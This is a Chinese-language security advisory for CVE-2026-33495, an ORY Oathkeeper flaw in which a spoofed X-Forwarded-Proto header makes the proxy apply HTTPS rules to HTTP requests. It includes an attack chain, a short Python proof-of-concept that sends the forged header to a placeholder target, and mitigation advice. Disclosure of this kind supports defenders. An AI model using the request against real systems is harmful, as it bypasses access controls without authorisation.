CVE-2026-33495 CVSS 6.5 中危

CVE-2026-33495 ORY Oathkeeper 访问控制绕过漏洞

披露日期: 2026-03-26

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-33495

漏洞类型

访问控制绕过

CVSS评分

6.5 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

ORY Oathkeeper

漏洞概述

ORY Oathkeeper 是一个身份与访问代理及访问控制决策 API。在 26.2.0 版本之前，该软件存在安全逻辑缺陷。尽管配置选项 `serve.proxy.trust_forwarded_headers`（默认为 false）旨在控制是否信任 `X-Forwarded-*` 请求头，但 Oathkeeper 并未正确遵守此配置。系统在评估规则时总是会考虑 `X-Forwarded-Proto` 头。如果部署环境中针对 HTTP 和 HTTPS 配置了不同的访问规则，攻击者可以通过注入该头部欺骗代理，触发错误的规则匹配，从而绕过安全限制。

技术细节

该漏洞的核心在于 Ory Oathkeeper 在处理反向代理转发的头部信息时，忽略了自身的安全配置。Oathkeeper 通常部署在 CDN 或反向代理之后，依赖 `X-Forwarded-Proto` 来判断原始请求协议（HTTP 或 HTTPS）。在受影响版本中，即使 `serve.proxy.trust_forwarded_headers` 设置为 false，系统依然会读取并基于 `X-Forwarded-Proto` 头的值来匹配访问控制规则。利用该漏洞需要满足特定前提：目标系统必须为 HTTP 和 HTTPS 请求配置了差异化的规则，且攻击者能够触发其中一种规则。在此情况下，攻击者只需在请求中添加伪造的 `X-Forwarded-Proto` 头（例如将 HTTP 请求伪装为 HTTPS），即可使 Oathkeeper 应用针对 HTTPS 的宽松规则，从而绕过原本针对 HTTP 请求的严格限制。

攻击链分析

STEP 1

侦察

识别使用 ORY Oathkeeper 的目标，并分析其是否针对 HTTP 和 HTTPS 配置了不同的访问规则。

STEP 2

利用

攻击者向目标发送恶意请求，在 HTTP 请求中注入 `X-Forwarded-Proto: https` 头部。

STEP 3

绕过

Oathkeeper 错误地信任该头部，应用针对 HTTPS 的规则，导致原本应被拦截的请求被放行。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# Exploit Title: ORY Oathkeeper < 26.2.0 - Access Control Bypass via X-Forwarded-Proto
# Description: Send a request with the X-Forwarded-Proto header to bypass rules that differentiate between HTTP and HTTPS.

import requests

target_url = "http://target-oathkeeper-api/protected-resource"

# If the server has strict rules for HTTP but allows HTTPS,
# we can trick it by setting the header.
headers = {
    "User-Agent": "Mozilla/5.0",
    "X-Forwarded-Proto": "https"  # Spoofing the protocol
}

response = requests.get(target_url, headers=headers)

if response.status_code == 200:
    print("[+] Potential bypass successful! Response received.")
    print(response.text)
else:
    print("[-] Bypass failed or blocked.")

影响范围

ORY Oathkeeper < 26.2.0

防御指南

临时缓解措施

建议在 WAF 或反向代理等边缘组件中，尽早丢弃不符合预期的头部字段（如非内部来源的 X-Forwarded-*）。同时，检查并确保 `serve.proxy.trust_forwarded_headers` 配置正确，并尽快应用官方补丁以修复此逻辑错误。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表